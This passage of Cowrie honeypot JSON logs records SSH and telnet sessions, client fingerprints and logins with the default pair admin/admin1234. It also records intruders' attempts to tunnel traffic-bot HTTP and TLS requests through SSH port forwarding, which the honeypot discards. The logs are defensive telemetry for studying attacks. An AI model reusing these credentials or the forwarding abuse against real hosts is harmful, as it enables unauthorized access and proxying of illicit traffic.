","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:57.050274Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50140,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae665d85237","protocol":"telnet","message":"New connection: 94.23.66.112:50140 (10.17.0.5:23) [session: 2ae665d85237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:57.592736Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:58.148906Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:58.770529Z","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:58.826583Z","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.022877Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JEJuST85ajNPKHBsXykwZQ%3D%3D1jBjBUsb1YD2B0x3Viieg8LwA6ry7Ez29QM3Br9PdALYTuhwez%2BJHDoJmBRSsNzZoro%2B60zh%2BcKzmi%2F2qA8sJ%2BmzQdBte89PqovyUopsy0q5VrdeZlHyvdxasfckyyugIKM%2FnFpsTT9Gxc41i7HJgb%2B7SlUmIGbc7coTiV58XnqiqBYNvgzUIBxs5%2FihH0xraPeeLRlUq%2B5Tti1MQuDAs%2BmIihWY26Bcg%2B7TpDc0M7tmaL6GYmCEZkKcmX%2BgKVtYNA0tYj7L6EZW2GmU5jc1imlU3yRAJsDC74pYzOYR7%2F3QUGgiTzHaJnzD06uyTrJgG8%2FwYnWyEauunNgho78TcN0NV%2FWz7rsp1ywQPx5TF3Uaku35lfq%2FlHpaKggI7dkZottPusAU7yPu1PvIpghaolEPMYm4IVrulJQSht3pGlIobUwbjAXI54oK6zuTgeY4VhmRC1mYUeTMNPaqo0y3I1THQnK%2FzS1XcFvORF7rnRQYTlJNWo4UCzclqHw2ESsD%2Fp%2FiEBdaHh2HAPWp8HdRiUh0HGWQZTeWy51VynDlaV6PlH8OuaVr9a8QjPs%2FTV5hHdLh%2B7jc%2Bq%2B1hiRgx4QcC6ERWi23TBWednl%2Bf8qPMP9SjIfM%2B0nOfN020PXY2rCHbI5l5s5JvkA%2BawO7hgCNf5AnqAQCTkn8YwC0JxFOBGCf7PUiX3RLmVVs7HtUkGodrRcdJdLneBLCZ5uRh%2Bvfs2oUqLar%2FvDy%2Ft3oB0LSs%2BKXQTOE6H9fvKSCBQP%2FqgciebZ7hL9A%2BKzdfZq5TmlUeOZcDVyflG9gSE4bh%2FO7T11%2FS8lPY3CPAdXXxCSK1UhTdTk9xMHcIbN85wigWq3N9bf7WNTfdvvSa1OQXmrbGQQiotReJPrtY9l5sigztpUnNWI45hmfrYZimPQwk3s0Ude0miV%2FDsgIlXSq8qkw%2FS4UVeipJZlrH3uRUpfJBa9U%2FmIv2JQc02GZ%2BxUrsAbOGijJdOm9jWecWOur6aDlWx1i1kIB8vVtnb%2FSR%2Bm%2Bwj3T%2FsN0dNHx9Sotl2P3W3glSlWmVFWV5HfWU80bEZ0t%2Fes%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JEJuST85ajNPKHBsXykwZQ%3D%3D1jBjBUsb1YD2B0x3Viieg8LwA6ry7Ez29QM3Br9PdALYTuhwez%2BJHDoJmBRSsNzZoro%2B60zh%2BcKzmi%2F2qA8sJ%2BmzQdBte89PqovyUopsy0q5VrdeZlHyvdxasfckyyugIKM%2FnFpsTT9Gxc41i7HJgb%2B7SlUmIGbc7coTiV58XnqiqBYNvgzUIBxs5%2FihH0xraPeeLRlUq%2B5Tti1MQuDAs%2BmIihWY26Bcg%2B7TpDc0M7tmaL6GYmCEZkKcmX%2BgKVtYNA0tYj7L6EZW2GmU5jc1imlU3yRAJsDC74pYzOYR7%2F3QUGgiTzHaJnzD06uyTrJgG8%2FwYnWyEauunNgho78TcN0NV%2FWz7rsp1ywQPx5TF3Uaku35lfq%2FlHpaKggI7dkZottPusAU7yPu1PvIpghaolEPMYm4IVrulJQSht3pGlIobUwbjAXI54oK6zuTgeY4VhmRC1mYUeTMNPaqo0y3I1THQnK%2FzS1XcFvORF7rnRQYTlJNWo4UCzclqHw2ESsD%2Fp%2FiEBdaHh2HAPWp8HdRiUh0HGWQZTeWy51VynDlaV6PlH8OuaVr9a8QjPs%2FTV5hHdLh%2B7jc%2Bq%2B1hiRgx4QcC6ERWi23TBWednl%2Bf8qPMP9SjIfM%2B0nOfN020PXY2rCHbI5l5s5JvkA%2BawO7hgCNf5AnqAQCTkn8YwC0JxFOBGCf7PUiX3RLmVVs7HtUkGodrRcdJdLneBLCZ5uRh%2Bvfs2oUqLar%2FvDy%2Ft3oB0LSs%2BKXQTOE6H9fvKSCBQP%2FqgciebZ7hL9A%2BKzdfZq5TmlUeOZcDVyflG9gSE4bh%2FO7T11%2FS8lPY3CPAdXXxCSK1UhTdTk9xMHcIbN85wigWq3N9bf7WNTfdvvSa1OQXmrbGQQiotReJPrtY9l5sigztpUnNWI45hmfrYZimPQwk3s0Ude0miV%2FDsgIlXSq8qkw%2FS4UVeipJZlrH3uRUpfJBa9U%2FmIv2JQc02GZ%2BxUrsAbOGijJdOm9jWecWOur6aDlWx1i1kIB8vVtnb%2FSR%2Bm%2Bwj3T%2FsN0dNHx9Sotl2P3W3glSlWmVFWV5HfWU80bEZ0t%2Fes%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.026769Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.266770Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\xfcY]\\xcc8^\\x94\\xc0\\xbfX\\xc4\\xf6\\xd3\\x1b\\xc9\\xfa\\xa5\\x1e\\x80\\xdc\\x96\\x82\\xccuz\\x904\\xbc\\x19\\x8c\\xb0 \\xf4\\x11g[\\x8f\\xe6\\xbdBP\\xb4\\x04Y\\xab\\x1f\\x97gA\\xe2\\xbft\\n\"\\xeeL\\xce\\x8e\\xd2=,\\x01ks\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1Vu\\x0f\\xc4\\x9a\\x8d\\xf9\\xd0\\xe0\\xbd>K\\x88h\\x00\\xd3\\xe5\\xb3XQ\\xbd\\x92sw\\x11\\xc1x\\x1c@\\x1dF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\xfcY]\\xcc8^\\x94\\xc0\\xbfX\\xc4\\xf6\\xd3\\x1b\\xc9\\xfa\\xa5\\x1e\\x80\\xdc\\x96\\x82\\xccuz\\x904\\xbc\\x19\\x8c\\xb0 \\xf4\\x11g[\\x8f\\xe6\\xbdBP\\xb4\\x04Y\\xab\\x1f\\x97gA\\xe2\\xbft\\n\"\\xeeL\\xce\\x8e\\xd2=,\\x01ks\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1Vu\\x0f\\xc4\\x9a\\x8d\\xf9\\xd0\\xe0\\xbd>K\\x88h\\x00\\xd3\\xe5\\xb3XQ\\xbd\\x92sw\\x11\\xc1x\\x1c@\\x1dF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.269973Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.768280Z","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":57715,"dst_ip":"10.17.0.5","dst_port":22,"session":"35218353f860","protocol":"ssh","message":"New connection: 113.164.152.20:57715 (10.17.0.5:22) [session: 35218353f860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.979483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:59.982867Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:00.017634Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\xcb\\xe2\\x8f\\xdc0j\\xa1;\\x14C\\xde\\xa4\\xfe\\x03\\xed\"\\xa6\\xd1\\x10lF\\x0b6}\\x08\\xf3\\x8b\\x17o^{ \\x94\\xf4]\\x02\\x85Y\\xcchk\\xf2+\\x8eo\\x18\\xb6Z!\\xfdb\\x9a\\x84\\xf3\\xb8\\xaf^\\xba\\xe4\\x04\\x0b\\xde\\xe5\\x84\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xff\\xe0\\n|\\xbfK\\x92\\x8cW\\x9cHP\\xa5\\xa2v\\xec<\\xf8\\x97\\xa0\\xed\\xfd\\x05\\xeat?}*\\xac\\xdd\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\xcb\\xe2\\x8f\\xdc0j\\xa1;\\x14C\\xde\\xa4\\xfe\\x03\\xed\"\\xa6\\xd1\\x10lF\\x0b6}\\x08\\xf3\\x8b\\x17o^{ \\x94\\xf4]\\x02\\x85Y\\xcchk\\xf2+\\x8eo\\x18\\xb6Z!\\xfdb\\x9a\\x84\\xf3\\xb8\\xaf^\\xba\\xe4\\x04\\x0b\\xde\\xe5\\x84\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xff\\xe0\\n|\\xbfK\\x92\\x8cW\\x9cHP\\xa5\\xa2v\\xec<\\xf8\\x97\\xa0\\xed\\xfd\\x05\\xeat?}*\\xac\\xdd\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:00.022239Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:00.279706Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:00.379157Z","src_ip":"123.27.168.40","session":"a81873833b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.042425870895386,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:01.282211Z","src_ip":"172.81.62.90","session":"e6fc085d3c3c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:03:01.526374Z","src_ip":"113.164.152.20","session":"35218353f860","protocol":"ssh"}
